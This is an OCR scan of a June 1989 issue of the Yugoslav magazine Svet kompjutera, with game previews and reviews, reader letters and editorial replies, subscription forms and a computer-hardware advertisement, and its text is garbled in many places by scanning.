kolega. NeSto od toga ce se pojavi-

li i u jgri za koju ocekujemo da se

pojavi dok kaze§ .Peresirojka”.

VOYAGER
Luk Snajles (svaka sliCnost sa iz-

vesnim Skajvokerom i .Ralovima
zvezda" je namerna) je nekadaSnji

pilot koji se posvetio gajenju ruzi-

castlh zeceva. Medutim, Zemlja je

u upasnosti jer gadni mail Roxizi

na Saturnovom desetom mesecu
koncentri§u snage za napad. E,

zbog sigurnosti svojih zeka. Luk ce

ponovo sesti za komande posled-

nje sacuvane letelice i hrabro kre-

nuti u boj.

SILKWORM
Kako to vec biva... mirno si sc-

dco ispred tcievizora i gledao .Di-

nastiju", kad sii prckinuli program
i objavili da su agresorske snage
otpocele kontrarevoluciju. Traie
se dobrovoljci, Posto si subotom
pre podne iiglavnom besposleii,

prijavljujes se za operaclju .Svile-

na buba". Kasno ce§ shvatiti da si

se pres’o...
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SPEEDBALL
O OVO] igri je bilo dosta reci u spomenemo da je prepravljena i

prethodnim brojevima, pa se ne- aa Commodore, i da je pitanje tre-

cemo duze zadrZavati. Samo da niitka kada de stici.

REALM OF THE TROLLS
Davno vec nismo imali neku u svetu dzinova, patuljaka i sUcnih

dobru igru tipa ,traii, trazi, pa ce§ kreatura, magije, hrabrosti. mud-

naci”. Eto nas, po ko zna koji put, rosti i ostalih junackih odhka.

SVET KOMPJUTERA /JUN ‘89.

BOMBER
BiraS izmedu opasnih aviona;

F-15 Strike Eagle. F-4 Phantom.
Tornado. F ill, Saab Viggen, Mig
27 Flogger. Boris sc protiv supar-

nickog aviona koji je razlicit od
tvog. Sve se odigrava u tri dimen-

zije. Uh, stade sve u deset sekundi!

FORGOHEN WORLDS
„Zaboravljeni svetovi" su zaista

i zaboravijeni na automatima. ali

ponovo postaju aktuelni. zbog

konverzija na Commodore i Ami

gu. Nemojte puno da se nadate.

Nije to nista §to do sada nije vide-

no, potpuno se uklapa u Petrovi-

cevu definiciju (jde§. ide§,

LORDS OF THE
Svi vi koji se secate TV serije

„Sogun“ dignite ruke. Toliko vas?

Hajde. hajde, nek se javi bar jedan

da ne pricam sam sa sobom. „Ci-

nemaware” nam sprema novi hit.

RISING SLTN
gradanski rat u Japanu u 12. veku.

Upravlja§ vojskama samuraja, ni-

ndii i obicnih ratnika, s namerom
da postaneS Sogun. Ne dozvoli ni-

komc da te jastuci ii glavu'
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DEZURNI TELEFON
Svake srede 10.30-14.30 casova mozete se
direktno obratiti Sveta komppitera. U to

vreme pored telefona (Oil) 320-552 (direktan)
i 324-191 (lokal 369) detarace nasi stmcni

satadnicL Odgovaramo i na pitanja o
kvarovima racunara!

Zasto nema Sveta kompiDtera?

Postouani urednice,

Vec daze oreme nameraoam da se jaoim. Pocetkom marta
u Zagrebu u jednom kiosku oidio sam pozutelo, na zimskom
suncu i smogu, wise sf^ijalno izdanfe , Soet igara 4 ". dok taj isti

bwj u Sarajeim nije ni stigao da se ohiadi. pec je prodat, ma, sta

prodat, razgrabljen. Tako je i sa soakim brojem aaseg Usta. Dok
u moje naselje, koje nije ni malo. stize desetak primeraka. a bol-

nicki, zamislite bolnicki, u Zagrebu dode trideset. Citauu protek
lu godinu nisam mogao kupiti vas list u spom naselju. pa mi je

promaklo nekoliko brojeva. Sui moji drugovi se taie na istu

stuar. Umesto da obratite paznju na ouakve stuari. ui pooecavate
cijenu Usta. Oodje se ne nameraoam baoiti koalitationim osobi
nama oaseg Usta, wee da vam ukazem na to sto. ojerovatno i sa-

mi znate. a ne preduzimate nista, iU ste nemocni da bilo sta iz-

menite. Ovim ne misUm na uas Ueno, nego na oasu marketing i

distributiunu sluzbu Hi oec u cijoj je to nadleznosti. Jos uvek mo-
gu kupiti Mikrac i Racunare od januara, a vas list ne. Pisite mi
da U je uopste izasao. Kao ilustracija koja je zaista istinita i koja
ce vam najboije dodarati deficitarnost oaseg proizvoda i alarm
nost citaoe situaeije, saljem vam kraci dijalog kupca Sveta kom
pjutera i tete koja bi trkrah da ga proda:

Ja: JeP vam stigao najnooiji broj Sveta kompjutera? (to je
ta trazena roba)

Teta iz kioska: znam ja sta je to sine. Jeli to zvakaca gu
ma.^''

lako znam da ga kupujem (tu trazenu robu) radi svog ,.gu-

micaoka", pomiren sam sa groznom sudbinom sto cu ga i ovog
puta razocarati. Dobijam napad tuge, revolta i soega ostalog sto

jedan baker maze dozivjeti i sto hi samo priblizno bilo po hiljadi-

ti put dohijenoj poruci: „Tape loadnig error 0:V priiikom ucita-

vanja istog programa kojeg sam prvi kod nas d^io.
Opet ja: „ feta, od cega zavisi vasa plata?"

Ona, tj. teta iz kioska: „£. sine! Koliko robe prodam toUko i

zaradim. “

Komentar nije potreban. Molim vas da ucinite nesto za nas
citaoce i tete iz kioska.

Jo$ko Bilic Palmira Totjatija 7S Sarajevo.

Dragi Josko, znamo za nevolje nasih citalaca iz Sarajeva. Na za-

lost, situaeija je slicna u svim gradovima u kojima nasa kuca, Politi-

ka, nema, i!i ima siabo razvijenu sopstvenu prodajnu narezu. Tada se

distribudja Usta vrsi preko prodajne mreze drugih novinskih kuca i

samo od njih zavisi koUko ce primeraka Sveta kompjutera naruciti.

Prodaja je neretko vezana i za ime izdavacke kuce i konkureneiju ko
ja postoji medu dvenvim novinama i prenost se i na nas list.

U svakom slucaju, nismo, I ne sedimo skrStenih ruku i obecava-

mo da cemo uloziti jos vise napora da stanje popravimo. Za sada, je-

dini savet svima koji tesko dolaze do svog primerka jeste da se pret-

piate na Svet kompjutera.

Drugi veliki problem je cen'.. Veruj nam Josko, na to jednostavno

ne mozemo da uticemo. I se cela redakeija odrekne svojih hono-
rara, jer je to jedino sto ir ozemo, cena bi ostala isla. Svega nekoliko

stranica oglasa i reklama je dovoijno da isplali rad redakeije a s\'e os-

talo ide na pokrivanje troskova za papir, stampu, stamparske usiuge,

prodaju...

Cekajuci bolja vremena radicemo ono sto mozemo, a to je da, za

jednick) sa dtaocima, pravimo sve boiji list, i da svako. kupujuci Svet

kompjutera, zaista zna za ^a daje svoj novae.

Nastavite sa

Obradooan sam intervjuom
sa Andelkom Zgorelcem u pro-

slom broju Sveta kompjutera.
Shvatio sam da je to ono sto bib

voleo da citam u vasem listu.

Potrudite se da nas i dalje tako

prijatno iznenadujete!

Goran Lalic

Banja Luka

Letovanje u Liverpulu

Ove godine cu ici u Engiesku
(Liverpui) i tom priiikom bib ze

leo da kupim neke igre. ali ne
znam gde. kako i po kojim ce-

nama.
Dejan Dojcinovic

Pancevo

Dragi Dejane, lepo je sto uopste

mozes da odes do Engleske. Kad
vec budes tamo, nekako nam se

cini da ce tl se sve kas'li samo. Ve-

ruj nam na ret.

O

Sareno, volim te, sareno

Dragi Svete elektronskib cu-

dovisia, tvoj sam verni citaiac i

zelim nesto da te pitam. MisUm
da bi ovaj casopis trebao da hu
de sareniji nego sto je sada. tre-

ba uneti vise zivosti. jer, koliko

sam primetio, jedino je oko 10

strana u boji. sa sve koricama.

Nemoj misliti da ti ovo pise

neki filozof Hi dekortater. ovo
pise jedan jedanaestogodisnjak.

Petar Krajcmovic
Novi Sad

Amiga - casopis na

disketi

Nedavno je pokrenut zanim-

Ijiv projekat - casopis name-
njen vlasnicima Amige koji se

izdaje i distribuira na disketa-

ma. Izlazi jednom mesecno.

Prvi broj izmedu ostalog sadrzi

opise usiuznih programa i iga-

ra. savele, mape i poukove za

igre, uputstva za razne usluine

programe. testove raznih har-

dverskih dodataka, tzabrane i

prevedene public domain pro-

grame. najboije intro i demo
programe... Ako vas sve ovo
zanima obratite se Damini
Slogaru, Horvatovac 18. 41000

Zagreb, telcfon 041/448-803.

Uzgred, najzanimljivije teksto-

ve iz ovog .disketnog' casopisa

(koji za sada jo§ nema ime) ra-

do bismo objavili i u Svetu

kompjutera.

Gde su isparili?

Gde li su nestali tekstovi rub-

rike ,.Moja igra“ u poslednja

dva broja?

E^drag Lezaic

Kasina - Zagreb

Pomenuta rubrika bila je pri-

vremeno ukinuta iz humanistickih

razloga. Reagovali smo na usred-

ne molbe roditelja naSih saradni-

ka i citalaca. pa smo u cilju pove-

canja .skora' ocena na kraju skol-

ske godine na pomenuta dva na-

stavlQ primenili .DELETE*. Pred-

raze, nista se ne brini. JVIoja igra*

je ziva i zdrava vec od ovog br^
O
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I/O Port Ureduje Vojislav Mihailovic

Broj kolor stranica ogranicen

cenom Stampanja i tu se nista ne
moze. Mi se ipak trudimo da i tek-

stovi na crno-belim stranama iz-

gledaju kao da su u koloru. Uosta-

lorn, tako je nekada i Milka Babo-
vic docaravaia TV gledaocima sa

crao-belim televizorima caroliju

boja na takraicenju u umetnickom
klizanju (sedate se onog; „Njena

haliina je boje ciklame, i to sum-
ske ciklame!').

O

OcuPCW
Zeleo bih da se pretplatim na

casopis PCW. Interesuje me ad-

resa na koju bih poslao pretpla-

tu i (xna.

N«manja
Beograd

Nemoj misliti da je intervju u
ov(Mn t^u c^vijen bas zbog
tvog pisma, aii se ba§ zgodno po-

godilo.

Adresa je: Personal Computer
World. 32-34 Broadwick Stect
London WlA 2HG.

O

Apetiti rastu

Da h pomocu progmma
..ZSOMU” mozemo na PC/AT-u
izvrsaoati Spectrumov program
..Super loto 3"? Maze !i se taj

program izorsauati na C-64. uz
pomoc ^Spectrum emuiatora”?

MUaa ^sic
Banja Luka

Nece modi. „Z80MU' similira

samo procesor Z80. a ne i celo-

kupno hardversko oknizenje, a

^Spectrum emulator" ne podiiava
Spectrumov masinac.

O

Kako kupiti skener

U hroju 4/S9 objauljen Je tekst

o skaniranju na Atariju ST. la

ko tekst nije ulazto u detalje.

ipak uerujem da je i to bilo do-

ifoljno da pokrene maStu sua
hog atariste. Medutim, kada po
sk dugag sanjarenja uspcte da
otuorite oci. ulazite u staarnost

(dtIo slozen potprogramf za koju

su uam potr^ni nouac (pro-

REAGOVANJA

Cujmo i drugu (piratsku) stranu

V poslednje ureme mnogo ste pisali o piratima, ohjaoljujete

pisma nezadouoljnih kupaca itd. Ja se bauim tim poslom, ime
mi se jos nije pojauilo na stranicama oaseg lista i jauljam se sa-
mo zato sto zelim da nesto dodam celoj toj diskusiji.

Sto se tide akcije „Pirat No. 1". trebao hi da za suaki tip

kompjutera izaberete pirata meseca, qodine Hi slicno. Jasno je da
ako ih sue strpate u isti kos najuise ce glasoua dohiti neko ko
prodaje za C-64 Hi Specfmm. a ne neko ko nudi programe za, re-

cimo. Atari, Amstrad Hi Amigu.
Drugo, spekulacije su lako moguce. Jedan vleiki pirat sa do-

sta stalnih musterija Jednostauno ce nekolicini reci da im pokla
nja kasetu sa najnovijim igrama ako glasaju za njega i - eto ga
medu najboHima.

Moida neki misle da je lako biti pirat. Verujte. problema
ima na suakom koraku. Kohko mi se posHjki uratHo sa nazna
kom ..umro". pa su seza koji mesecljudi javijali i pitali sta jesa
programima. U koliko slucajeua je na vracenom paketu pisalo
..obauesten nije podigao", a da se postar nije udostojio ni da
ude u primaocevu zgradu. A postarinu piacam doaput: jednom
kad posilfku Mljem i dmgi put {kaznul kada mi se uraca. Desa-
ualo se i da sincic naruci kasetu. a majka primi posHjku i urati

je t^ta ce mom sinu te gluposti’}. Taj sincic strpijioo ceka jedno
ureme. i umesto da kod mene proven zasto programi ne stizu,

po^je gncuno pismo casopisu. O kvaJitetu kaseta koje mi kupci
salju da i ne gouorimo. Bas nedauno. dobio sam due kasete. uz
moibu da ih kualitetno snimim; da ste ih oideli i ui biste se slozi-

li da na takue kasete vise ni muzika ne bi mogla da se snimi, a
kamoli programi. / sta da radim? Ako kasete oratim - kupac ce
biti besan zbog ..lose usluge", ako na njih snimim pobesnece jer
mu programi nece raditi.

Eto to su razlozj zbog kojih sam napisao ovo pismo. Mozda
ce ljudi koji nisu zadouoljni usiugom shuatiti da za rekiamaciju
trefoa da se <^rate iskijucivo piratu od koga su programe kupili.

umesto da racunarskim casopisima salju ..pljuoacka" pisma.
Molio bih uas da me potpixte samo inicijalima.

J.P.
Litd^iia

menljiva koja grauitira nuli i ne
tide se vaseg tasopisa) i infor-

macije (suprotno od proog). V
tekstu, koji je informatioan. ne
dostajaia je jedna. mozda i naj

vaznija, informacija - adrese

proizuodaca. Nadam se. stoga.

da cete objaviti adrese proizvo

daca nekoliko skenera, narocito

rucnih. Mnogi ce ataristi (zbog

pomenute ..promenijiue"). biti

zainteresovani za jeftinije stuari

koje se mogu korisno upotrebiti.

Metodtja Acevski
Skofdje

Evo adresa nekih ^proizvodaca

rucnih skenera. lako su rucni. ce-

ne nisu ni male popuiame.
- Kempston DAATAscan (275

GBP): Kempston Data Limited. 21

Linford Forum. Rockingham Dri-

ve, Linford Wood, Milton Keynes

MK14 6Ly. Great Britain.

- Geniscan (189 GBP): Datel

Electronics, Fenton Industrial Es-

tate, Govan Road, Fenton. Stoke-

-On-Trcnl. Great Britain.

Sledeci skeoer nije rucni. Cenu
ne znamo, ali pretjMStavljamo da

je paprena.
- ilawk CP14: Signa Publishing

Systems Ud. Trevenen House,

Cricket Hill Lane. Yateley, Cam
gridge. Surrey, GU 17 7BA. Great

Britain.

O

Spectrum i povratne linije

Primetio sam da se na ekra

nu televizora pojauljuju tri tan

ke. duge. bijele kose cite kada
radim na Spectmmu. Isto se po-

naulja i na drugom releuozoni.

Sta fe to i kako da poprauim ra-

cunar - uec me neruira da sua
kog dana gledam te erte, poceo

sam ih i sanjati!

Sinisa Kresojevic

Vojnic

Sinisa. te bele tzv. po\Tatne lini-

je su sasvim normalna pojava. Ni-

sta nije pokvareno. A za nocne

kosmare - mi ti ne mozemo po-

moci.

O

Stall bn^
Imamo sledece brojeve;

9/86

2. 4. 5. 9/87

10 , 11/88

1. 2, 3. 4. 5/89

[manio. takc^e, i .^vet
igara" broj 2, 4, 5.

Nemamo ni jednog pri-

merka iz 1984. i 1985. g^i-
ne, kao ni „Svet igara" broj

1 i 3.

USTEDITE15“/o

PrctpLitoni stedite 15%. Uplatu mozetc izvrriti na ziro racun broj

60801-601 29728 uz obaveznu naznaku: NO „IH»litika", OOUR Pro-

daja, pretplata na „Svet kompjutera". Da biste bill sigurni da ce vam
broj stizati, popunite pretplatni iistic i posaijitc ga zajedno sa pri-

merkom (ill fotokopijom) uplatnice na naki adresu. Svet kompjute-
ra, Makedonska 31. 11000 Beograd. Uz kupon o pretplati obavezno

posLati uplatnicu ili njenu kopiju.

Pretplacujem se na list SVET KOMPJUTERA

ime i prezime

Adrcaa .

Potpis _

NARUDZBENICA
Ovim neopozivo narucujem sledece brojeve „Sveta kompjutera"

Ime i prezime .

Adresa

Potpis

Primerke co pouzecem postaru.
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SVET IGARA
AMIGIN KUTAK

AIRBALL

Moralo je zaista da prode piino

vremena da bi sc neko sctio da ua-

pravi o\akav program. To je ono
sto veO dugo cckamo - Knight Lo-

re na Amieii Izraden zaista bes

prekorno, na najbol)i mogiid iia-

cin jC otvorio ovaj do sada neobra-

den zanr. Nadajmo se da jc pre-

thodnica obilju jos boljih proera-

ma istog tipa.

.Na pocetkii igrc nalazite se u

centralno) prostonji zamka, iz ko-

]e se ogranci sire na svc cetiri stra

ne. Vi ste u iilozi baiona, a igni

pocin)Cte na ncobicnoj piimpi za

vazduh, koja vise lici na krunu ne-

so na to sto bi trebalo da biide,

Pazitc samo da sc ne prcpumpate
- desice vam se isto sto se desava i

kad nesianc \azduha. Zivota (od-

nosnn balona) imato 4, a zamak je

L>sroman, prepiin siljaka koji jed-

\n cekaju da se zakacc za tanusnu

siimu baiona i da mu skrale \'ek.

Samo letimicnim, informativnim

prolaskom otkricetc stolinak pro-

storiia, koiih sigurno ima jos mno-
go, mnogo vise. Primelicctc i

mracne prostorijc: lampii ccte na-

d kad krenefe gore-ievo tri pro-

stonje, pa gore desno: ako boljo

zagicdate, predmet u gornjcin ug-

lu iidce \am na baterijsku lampu.

Sk'ipljate ga sa SPACE, Cilj igre?

Verovatno proiialazenje knjigc Ca-

roliia, sto se moze procitati na po-

cetku !grc. V s\'akom siucaiu, dcfi-

mtuan odgovor otkricetc tek kada

iipoznate svo prostoriie i predme-

le ko)e kriju.

lako je to \ec poceio da se pod-

razumeva. grafiku u ovo) ign mo-
ram posebno da polnalim. Koris-

led se mogiicnostima koje pniza

.\migina paleta boja, aiilori pro-

grama stvorili sii aulenlicnii at

mosfcru zamka, znalacki iipolre

hivsi obiljc sivkastoplavih nijansi

kamcna Opasni siljci su, ugUv-

nom, jasno uocijivi zah'.aliujud

svojim larkim bojama, a zelcnilo

detuje zaista smirujuce lako do
njega stigncte).

WRANGLER
I ova igra je trodimenzionnlna.

ill, boljc reccno, odvija se ii trodi

mcnzionalno) projckciji, mada bis-

mo prc mogli da jc uporeUimo sa

Bombuzalom ncgo sa prethodno

opisamin programt)m, Izradona je

sa.svim korektno, a njcna iogicka

komponeiila cini je posebno za-

nimljivom, i garantiijc da ce vas

igra bar neko vreme drzati.

Vi ste u ulozi robota ci|i je po-

sao skuptjanie raznobojnih poija

koja imaju tacku u sredini. Na sva-

kom nivou zadajc vam se koliko
poija u kojoj boji je potrebno pro-

naci, a kada svi brojaci stignu na

milu, posao je zavrkm. Pazitc, me-
diitim, da ne pokupite neko poljc

vise ncgo sto jc potrebno: propas-

ceie kroz njCga i izgubiti zivol.

jednosiavna zamisao i jednosiav-

na igra, koja tek na visim nivoiina

postaje teza i zahieva intenzivno

mozganje.

BLOOD MONEY
I.jLidi iz PSYCOSIS a su u po-

slednje vreme nouinorni: /a s\ak:

broj nam obezbede poneki no\i

tot, Njihova najnovija igra Blood

Money uopste iiije ono sto bisic

po naslovu pomisliii. Radi se o

klasicno), kvalitetno uradeno) svc

mirsko-pucackoi igri. ledina speci

ficnost koja inta direktne ve/.o >a

naslovom jeste ta sto .se svaki unis

teni neprijalel) pretvara u kovani

novae odredene vrednost: koii ire

ba skupiti. V zavisnosti od zarade.

kasniieccte mozda snod da kupite

mocniju ietelicii, sa kojom eeie )OS

efikasnije mod protivniKe da sa

Ijete na onaj svet (odnosno „omi

galaksiju").

Nesto o samom uvodu u igru;

radi se o sckvenci do tc mere tio

bro uradenoj, da cete jc posmatra-

li bez daha, a ako siucajno pomis-

lile da je i igra takva, oncsvestice

le se, Polje asteroida kroz kote u

tom uvodu prolazi vas brod apso-

lutnoje foto-realisticno, imatc uti-

sak da ste pusrili „Ral zvezda" ili

neki slican film sa vidca. To zaista

treba videli da b: se poverovaio.

Voleo bill da je to demo za slcdecu

igru istih autora. Kada prode ta

„uvodna spica” i pocne igra. pod
uliskom videnog ovo prosto, dvo-

dimcnzionalno ubijanje izgiedace

sasvim obicno, ; necctc ni primeii-

ti da se radi o jako lepo osmisljc-

noj igri.

Tr/ibte je prezasiceno ovim za-

nrom, i sve sto lujc vrhunsko, bez

mnogo raznu^lianja se brise. Ovo
'igurno necctc obrisati, bez obzira

vam zauznna pune 2 diskete.

LORDS OF THE RISING

SUN
Cmemaware |e po svum uhoda-

nom obiCaiu. pouovo i/.dao dvo-

diskeini program. Naravno, to jc

po:iovo izdanak njihove icdiiistvc-

ne, tilmsko koncepciie, ii kojoj

dok igraie imale niisak d.a ste

glavni [unak odlicno uradenos f;!-

ma. Ovog pula ne radi se ni o tri

mangupa, ni o nanCnofaniaslicno]

verziii drugog svclskog rata, vec o
povratku na stare, dobre srednjo-

vekovne teme. Oa bi sve bilo eazo-

ticnijc, novT l^ef'ender, umosto u

Engleskoj, dogad.i sc n lapanii.

.Moram da priznain da iiisani

•^tigao da program proucim do

voljiio da bill imao neki jasnije de-

finisan Slav pretna njegovom kva

litetu, all. na prvi pogled, izgleda

da je Qneinavvare-u stalo do od-

rzavarija nivoa: program zadovo-

Ijava svc normc koje jc ova serija

jos sa Defendcrom postavila, a sa

programinia koji su usledili, uc-

vrstiia.

Ureduje Aleksanilar Veijkovic

TOM & JERRY
Crtani filmovi n konverzijama

za konipjutcre postal! su jako po-

pularni, pogotovu otkako je kom-
pjuterska grafika u moguenosti da

verno prenese siiku iz popularnih

crtaca. Nakon spice u kojoj Dzeri,

u MGM stilu, ispusla lavovski ur-

lik. pocecete da igrate dobru plat-

formnu igru, u kojoj je jednostav-

nost dobro uklopljena sa zabav-

noscii.

Dzeri je ovde, kao i u „stvarnos-

ti", skupljac sira koji je neko rasuo

svud unaokolo (zna li on koliko u

danasnje vreme kosta sir?), a Tom
ga. naravno, juri na sve mogucc i

nemogucc nacine. Dzeri jc relativ-

no spor, a!i lukav; trceci necc po-

beci Tomu, ali ako iskorisli nesto

od pokucstva. moze ovomc zesto-

ko da napakosti. Moze, rccimo, da

mu baci kuglu ili cckic na glavu, i

ovaj ce u stanju dubokc kontuzije

nesi.Tti 17 vidnog poija, ili da mu
jxiil nogc Eurne bananu koja ce ga

JOS brze izvesti <a ekrana. Riipc su

za Dzerija .spas: moze ih koristiti

bez obzira da 1: jc prethodno po-

kujiu) sav sir na nivou. Na putu

kroz zid bice izlozen innogim mi-

solovkama i bombama u simpatic-

noj 3D sckvenci, a sa druge stranc

zida cekace ga novi nivo, Tom cc

opet biri tu, pa svc iznova.

Necii da vas zavaravam da ce

ova igra zauzeti znacajno meslo u

vakm arsenalu probranih progra-

ma. aii ce vas svojim sarmom si-

surno zabaviti za izvesno vreme.

6« SVET KOMPJUTERA / JL'^ SP.



Specijalisti za racunare

Jeretova 12/58000 SPLIT 058/589-987

RADNO VRIJEME : 8 — 20 subotoxn 8—12
predstavniStva

kod ko|h moiete dohiti infvmadje, pogiedatl nak proizvode i izrrSiti narud!bu

ZA.GR.EB ~ C0413
BEOGRAD — coil 3

LJUBLJAMA — CO&13
RIJEKA — COSIJ
NlS — C0183
BANJA LUKA — C07-B3

S3S — 133 odl 8—19
624—070 od. 12—20
320— 029 od 9-12 116-19
422- 642 od IS—20
328—488 od IS—20
22—550 cad 8^0

ATARI ST 260/520/1040

NQVO-HARD DISK 32/65 Mb 30mS autoboot
DVOSTRANI DIS K DRFVE —BOLJI I JEFTINIH OD ORIGINALNOG.

TOS I GE]M U EI»ROM.IJdA^NGI-ESKI.PREVEDENt3LnTERlld.
TV ISdODUI-ATOR. GEA BASIC NA VIODULU.
BATERIJSKI SAT. PROSKENJE MBMOWJE. EPROM PROGRAMATOR.
KABEL 2A STAMPAC, LITERATURA. SERVIS. BBSPLATAS KATALOG 1

1

COMMm^_AmGA
VANJSKl DODATNI DISK - BOUJI I JEFTINIJl OD ORIGINALKOG.

KOLttt MODULAT(m ZA TELEVIZIJU. ROSlREMJE MEMORIJE 1 Mb -f SAT. UTERATtlRA.

SPECTRUM COMMODORE
KEMPSTON JOYSnC WTERPACE
DVOSTRUJQ JOYSnc INTERFACE
CENTRONICS miNTER INTERFACE
MEGAROM (EPROM MODULI

PALICE ZA

EPROM MODUU DO O.S MB (64 Xb)

SVIJBTLOSNA QLOVKA
AUDIO/VIDEO KASL ZA MONITOR
VIDEO KABL 60 KOLONA ZA Ct28

— JOVSTICI

KOMFLETAN IZBOR REZERVNIH DIJELOVA
Fcallja. (membranet) za SpecZrum. UX.A, 4116 led.

I.B.M. PC XT/AT Sr CO.

2ELITE KUPITI PC ? JAVITE NAM SE !

ISKORISTITE NASE VISEGODISNJE ISKUSTVO.
ZNAMO GDJE SU NAJBOLJl UVJEXI NABAVE.
MOGUCNOSX NABAVKE I U JUGOSLAVI Jl.

BESPLAXNI KATALOZI SA CIJENAMA.
DAJEMO GARANCIJU I SERVIS U ZEMLJI.
JEFTIKO~MlS. B087. 80267. HARD DISKOVI. FLOPPY DlSKOVl RAZNE KARTICB

YU KASAKTERJ ZA STAUPAOE I VIDEO KARTICE^HOA. CCA, EGA. VGA. UTERATURA

VRHUNSKA KVALITFrA-UGRADEN RESET.GARANaJA 1 GODINO. ISPIRUKA ZA 2 4 ata.

PO iELJI MODULE STAVLJAMO U FLASTlCNE KUTIECS 1

Ml SMO DEAJWIiAU 1 PROGRAMEAU MODUIE, DRUGI SU IH ROPIRAU OD NAS.

ORIGINAL JE IRAK ORIGINAL !

1. TURBO JSOlDtTURBO 2002*PODESAVANE GLAVI KASFTOFONA 110.000.- dlB.

2. 6 NAJBOllIH TURBO PR0GRAMA*P0DESAVANJE GLAVB KASErOFONA..130.000.- to.

3. FWAl CATRIDGE U ( YSM U -Jo! mljek naibol|l odnos dlmi/mosnCnoall..220.000.- to.

6. PROFI ASS/M0N*TURB0 2SOID*TURBO 2002*BDOS*PODES.GLKAS 130,000. - to,

10. EPYX (Dajbolp i aajkcnnpletillO modul m red sa diskoml. - _...180.000,- to

12. SIMON'S BASIC II*TURB0 2SOlDtBDOStPODE5.GLAV.KAS 180.000.- to.

14. DOCTOR 64tCOPY202tPROnA/MtTURBO 250LDtTURBO 20O2tPOD.Gl,...m000.-to.

17. DIGICOM t COM-IN 64 (modul za radloamatere -PACKTT ndlol. 300.000.- din.

18. OXFORD PASCAL (ttrzila za kasetofon). 220.000. - to.

19. SIMON'S UtEASYSCYUt PROFI A/MtTURBO2S0LDt2002tBDOStl>OD.GL...300.000.-to,

20. ACTION REPLAY Mk lU (modul slUai FINAL-u n all )e malo boljl 280,000,- to.

,21. FINAL CATRIDGE HI (najholp modid koO portoji-ima m Sto to

O'VO Je samo dlo iwiodiAla Icoja Imamo na laarerxi.

. Sialsalc svlFi m,od«la u. naSem t»espla.t«OTn Icatalosu
111 atarlm bi-ojovlma Sveta Icor^i^u^r-a. .. .

’ 5/enW‘sirciri/m£a5oJ5e1 «i& ni duTIsp6ruke.~plaeanfe pouiegafg.'MWftR'g FT skosJ fup»t-

^
058/589-987
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Specijalna nagradna igra

super premija COMMODORE

PRODAJI!


